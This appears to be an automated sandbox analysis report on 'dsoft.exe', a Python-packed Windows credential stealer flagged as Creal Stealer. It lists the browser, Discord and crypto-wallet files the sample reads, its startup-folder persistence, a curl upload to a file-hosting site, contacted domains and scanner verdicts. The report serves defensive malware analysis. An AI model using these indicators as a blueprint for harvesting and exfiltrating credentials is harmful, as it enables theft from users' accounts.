            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\HistoryJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome SxS\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhmJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.logJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknnJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhmJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjpJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome SxS\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknnJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome SxS\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjpJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
            Tries to steal communication platform credentials (via file / registry access)
            Source: C:\Users\user\Desktop\dsoft.exeFile opened: C:\Users\user\AppData\Local\DiscordJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeFile opened: C:\Users\user\AppData\Local\DiscordCanaryJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeFile opened: C:\Users\user\AppData\Local\DiscordPTBJump to behavior
            Source: C:\Users\user\Desktop\dsoft.exeFile opened: C:\Users\user\AppData\Local\DiscordDevelopmentJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile opened: C:\Users\user\AppData\Local\DiscordJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile opened: C:\Users\user\AppData\Local\DiscordCanaryJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile opened: C:\Users\user\AppData\Local\DiscordPTBJump to behavior
            Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exeFile opened: C:\Users\user\AppData\Local\DiscordDevelopmentJump to behavior
            Yara detected Generic Python Stealer
            Source: Yara matchFile source: 0000000E.00000003.2676477196.000001FA5CC7A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: dsoft.exe PID: 7128, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: dsoft.exe PID: 7128, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Yara detected Creal Stealer
            Source: Yara matchFile source: 00000001.00000003.2534735683.000002948994D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000003.2420158932.000001FA5CE4D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000003.2449803777.000001FA5CE4D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.2716449819.000001FA5D4E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000003.2676477196.000001FA5CC7A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000003.2534412343.000002948994A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000003.2251126528.000002948994A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: dsoft.exe PID: 7128, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: dsoft.exe PID: 4336, type: MEMORYSTR
            Yara detected Generic Python Stealer
            Source: Yara matchFile source: 0000000E.00000003.2676477196.000001FA5CC7A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: dsoft.exe PID: 7128, type: MEMORYSTR

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire InfrastructureValid Accounts11
            Windows Management Instrumentation            		12
            Registry Run Keys / Startup Folder            		11
            Process Injection            		1
            Masquerading            		1
            OS Credential Dumping            		1
            System Time Discovery            		Remote Services1
            Email Collection            		1
            Encrypted Channel            		Exfiltration Over Other Network MediumAbuse Accessibility Features
            CredentialsDomainsDefault AccountsScheduled Task/Job1
            DLL Side-Loading            		12
            Registry Run Keys / Startup Folder            		11
            Process Injection            		LSASS Memory1
            Security Software Discovery            		Remote Desktop Protocol1
            Data from Local System            		3
            Ingress Tool Transfer            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
            DLL Side-Loading            		1
            Timestomp            		Security Account Manager1
            Process Discovery            		SMB/Windows Admin SharesData from Network Shared Drive4
            Non-Application Layer Protocol            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
            DLL Side-Loading            		NTDS1
            System Network Configuration Discovery            		Distributed Component Object ModelInput Capture15
            Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon ScriptSoftware PackingLSA Secrets1
            File and Directory Discovery            		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC ScriptsSteganographyCached Domain Credentials24
            System Information Discovery            		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1582061 Sample: dsoft.exe Startdate: 29/12/2024 Architecture: WINDOWS Score: 92 75 geolocation-db.com 2->75 77 store4.gofile.io 2->77 79 3 other IPs or domains 2->79 95 Antivirus detection for URL or domain 2->95 97 Multi AV Scanner detection for submitted file 2->97 99 Yara detected Creal Stealer 2->99 103 3 other signatures 2->103 9 dsoft.exe 102 2->9         started        13 dsoft.exe 102 2->13         started        signatures3 101 Tries to detect the country of the analysis system (by using the IP) 75->101 process4 file5 59 C:\Users\user\AppData\Local\...\shell.pyd, PE32+ 9->59 dropped 61 C:\Users\user\AppData\...\win32trace.pyd, PE32+ 9->61 dropped 63 C:\Users\user\AppData\Local\...\win32api.pyd, PE32+ 9->63 dropped 71 72 other files (none is malicious) 9->71 dropped 105 Drops PE files to the startup folder 9->105 107 Found pyInstaller with non standard icon 9->107 15 dsoft.exe 14 9->15         started        65 C:\Users\user\AppData\Local\...\shell.pyd, PE32+ 13->65 dropped 67 C:\Users\user\AppData\...\win32trace.pyd, PE32+ 13->67 dropped 69 C:\Users\user\AppData\Local\...\win32api.pyd, PE32+ 13->69 dropped 73 72 other files (none is malicious) 13->73 dropped 20 dsoft.exe 8 13->20         started        signatures6 process7 dnsIp8 85 geolocation-db.com 159.89.102.253, 443, 49748, 49771 DIGITALOCEAN-ASNUS United States 15->85 87 api.ipify.org 104.26.13.205, 443, 49746, 49765 CLOUDFLARENETUS United States 15->87 89 2 other IPs or domains 15->89 57 C:\Users\user\AppData\Roaming\...\dsoft.exe, PE32+ 15->57 dropped 22 cmd.exe 1 15->22         started        24 cmd.exe 1 15->24         started        26 cmd.exe 1 15->26         started        34 5 other processes 15->34 91 Tries to harvest and steal browser information (history, passwords, etc) 20->91 93 Tries to steal communication platform credentials (via file / registry access) 20->93 28 cmd.exe 20->28         started        30 cmd.exe 20->30         started        32 cmd.exe 20->32         started        36 5 other processes 20->36 file9 signatures10 process11 process12 38 curl.exe 1 22->38         started        41 conhost.exe 22->41         started        43 2 other processes 24->43 45 2 other processes 26->45 47 2 other processes 28->47 49 2 other processes 30->49 51 2 other processes 32->51 53 9 other processes 34->53 55 9 other processes 36->55 dnsIp13 81 store4.gofile.io 31.14.70.245, 443, 49752, 49757 LINKER-ASFR Virgin Islands (BRITISH) 38->81 83 127.0.0.1 unknown unknown 38->83

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            dsoft.exe34%ReversingLabsWin64.Trojan.PyStealer

            Dropped Files

            SourceDetectionScannerLabelLink
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_ARC4.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_Salsa20.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_chacha20.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_pkcs1_decode.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_aes.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_aesni.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_arc2.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_blowfish.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_cast.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_cbc.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_cfb.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_ctr.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_des.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_des3.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_ecb.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_eksblowfish.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_ocb.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Cipher\_raw_ofb.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_BLAKE2b.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_BLAKE2s.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_MD2.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_MD4.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_MD5.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_RIPEMD160.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_SHA1.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_SHA224.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_SHA256.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_SHA384.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_SHA512.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_ghash_clmul.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_ghash_portable.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_keccak.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Hash\_poly1305.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Math\_modexp.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Protocol\_scrypt.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\PublicKey\_ec_ws.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\PublicKey\_ed25519.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\PublicKey\_ed448.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\PublicKey\_x25519.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Util\_cpuid_c.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Crypto\Util\_strxor.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Pythonwin\mfc140u.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\Pythonwin\win32ui.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\VCRUNTIME140.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\VCRUNTIME140_1.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\_asyncio.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\_bz2.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\_cffi_backend.cp310-win_amd64.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\_ctypes.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\_decimal.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\_hashlib.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\_lzma.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\_multiprocessing.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\_overlapped.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\_queue.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\_socket.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\_sqlite3.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\_ssl.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\_uuid.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\charset_normalizer\md.cp310-win_amd64.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\charset_normalizer\md__mypyc.cp310-win_amd64.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\libcrypto-1_1.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\libffi-7.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\libssl-1_1.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\pyexpat.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\python310.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\pywin32_system32\pythoncom310.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\pywin32_system32\pywintypes310.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI22482\select.pyd0%ReversingLabs

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            SourceDetectionScannerLabelLink
            https://ebay.com)z$0%Avira URL Cloudsafe
            https://discord.com)0%Avira URL Cloudsafe
            https://coinbase.com)0%Avira URL Cloudsafe
            https://discord.gift/100%Avira URL Cloudmalware
            https://paypal.com)0%Avira URL Cloudsafe
            https://youtube.com)0%Avira URL Cloudsafe
            http://www.dabeaz.com/ply)F0%Avira URL Cloudsafe
            https://xbox.com)0%Avira URL Cloudsafe
            https://discord.com)z0%Avira URL Cloudsafe
            https://tiktok.com)0%Avira URL Cloudsafe
            https://blog.jaraco.com/skeleton0%Avira URL Cloudsafe
            https://gmail.com)z0%Avira URL Cloudsafe
            https://crunchyroll.com)0%Avira URL Cloudsafe
            https://coinbase.com)z0%Avira URL Cloudsafe
            https://paypal.com)z0%Avira URL Cloudsafe
            https://twitch.com)z0%Avira URL Cloudsafe
            https://ebay.com)0%Avira URL Cloudsafe
            https://roblox.com)z0%Avira URL Cloudsafe
            https://hbo.com)z0%Avira URL Cloudsafe
            https://binance.com)z0%Avira URL Cloudsafe
            https://pornhub.com)z0%Avira URL Cloudsafe
            https://telegram.com)z0%Avira URL Cloudsafe
            https://playstation.com)0%Avira URL Cloudsafe
            https://netflix.com)0%Avira URL Cloudsafe
            https://gmail.com)0%Avira URL Cloudsafe
            https://outlook.com)0%Avira URL Cloudsafe
            https://tidelift.com/subscription/pkg/pypi-setuptools?utm_source=pypi-setuptools&utm_medium=referral0%Avira URL Cloudsafe
            https://sellix.io)0%Avira URL Cloudsafe
            https://github.com)0%Avira URL Cloudsafe
            https://setuptools.pypa.io/en/latest/userguide/declarative_config.html#opt-20%Avira URL Cloudsafe
            https://youtube.com)z0%Avira URL Cloudsafe
            https://binance.com)0%Avira URL Cloudsafe
            https://spotify.com)0%Avira URL Cloudsafe
            https://spotify.com)z0%Avira URL Cloudsafe
            https://setuptools.pypa.io/en/stable/history.html0%Avira URL Cloudsafe
            https://steam.com)0%Avira URL Cloudsafe
            https://yahoo.com)z0%Avira URL Cloudsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            bg.microsoft.map.fastly.net
            		199.232.210.172
            		truefalse
              		high
              store4.gofile.io
              		31.14.70.245
              		truefalse
                		high
                discord.com
                		162.159.138.232
                		truefalse
                  		high
                  api.ipify.org
                  		104.26.13.205
                  		truefalse
                    		high
                    geolocation-db.com
                    		159.89.102.253
                    		truefalse
                      		high
                      api.gofile.io
                      		45.112.123.126
                      		truefalse
                        		high
                        fp2e7a.wpc.phicdn.net
                        		192.229.221.95
                        		truefalse
                          		high

                          Contacted URLs

                          NameMaliciousAntivirus DetectionReputation
                          https://api.gofile.io/getServerfalse
                            		high

                            URLs from Memory and Binaries

                            NameSourceMaliciousAntivirus DetectionReputation
                            https://github.com/pypa/packagingPdsoft.exe, 00000001.00000002.2568217341.0000029489180000.00000004.00001000.00020000.00000000.sdmpfalse
                              		high
                              https://docs.python.org/3/library/pprint.html#pprindsoft.exe, 0000000E.00000003.2686089490.000001FA5C2BC000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                https://store4.gofile.io/uploadFileMEDRIcmd.exe, 00000007.00000002.2150523746.000002BBEB5F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		high
                                  http://www.dabeaz.com/ply)Fdsoft.exe, 00000001.00000003.2556979506.0000029488A6C000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2566160260.0000029488A6C000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown
                                  https://discord.gift/dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: malware
                                  		unknown
                                  https://store4.gofile.io/uploadFileMEDRIr?cmd.exe, 00000020.00000002.2305206433.000002B69E550000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		high
                                    https://coinbase.com)dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    https://img.shields.io/pypi/pyversions/setuptools.svgdsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		high
                                      https://discord.com)zdsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      		unknown
                                      https://img.shields.io/pypi/v/setuptools.svgdsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpfalse
                                        		high
                                        https://tiktok.com)dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://ebay.com)z$dsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://docs.python.org/library/unittest.htmldsoft.exe, 00000001.00000003.2535420058.0000029488DD9000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535331948.0000029488DCC000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2015658048.0000029488D4E000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2014727825.0000029488D3B000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2192500777.000001FA5C324000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2682594110.000001FA5C3B1000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		high
                                          https://discord.com)dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#dsoft.exe, 00000001.00000003.2536991819.0000029486172000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2562652028.00000294861C4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2556855822.0000029486189000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2562326330.0000029486191000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2542181367.00000294861C2000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2559071670.000002948618F000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2539619903.0000029486184000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2679295806.000001FA596B6000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            https://img.shields.io/codecov/c/github/pypa/setuptools/master.svg?logo=codecov&logoColor=whitedsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high
                                              https://paypal.com)dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://github.com/pypa/packagingdsoft.exe, 00000001.00000002.2565892869.0000029488840000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2568217341.0000029489180000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2705743567.000001FA5BE10000.00000004.00001000.00020000.00000000.sdmpfalse
                                                		high
                                                https://refspecs.linuxfoundation.org/elf/gabi4dsoft.exe, 00000001.00000002.2568217341.0000029489180000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 00000001.00000002.2565795035.0000029488720000.00000004.00001000.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://pypi.org/project/setuptoolsdsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://github.com/pypa/setuptools/workflows/tests/badge.svgdsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://discord.com/api/v9/users/dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://xbox.com)dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963dsoft.exe, 00000001.00000002.2568617414.0000029489480000.00000004.00001000.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000002.2707717704.000001FA5CAE0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://youtube.com)dsoft.exe, 00000001.00000002.2570813243.0000029489E90000.00000004.00001000.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          https://blog.jaraco.com/skeletondsoft.exe, 00000000.00000003.1992978647.00000177161E7000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000A.00000003.2166912378.000001463F1EA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          https://twitch.com)zdsoft.exe, 00000001.00000002.2568873435.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895E4000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535617412.00000294895DB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          https://store4.gofile.io/u&cmd.exe, 00000029.00000002.2373686223.00000213A668B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://tools.ietf.org/html/rfc3610dsoft.exe, 00000001.00000003.2545732531.0000029488ADE000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2550665354.0000029488ADF000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2535930492.0000029488ADE000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 00000001.00000003.2555145721.00000294895D3000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2679719201.000001FA5B864000.00000004.00000020.00020000.00000000.sdmp, dsoft.exe, 0000000E.00000003.2686149501.000001FA5B865000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		high
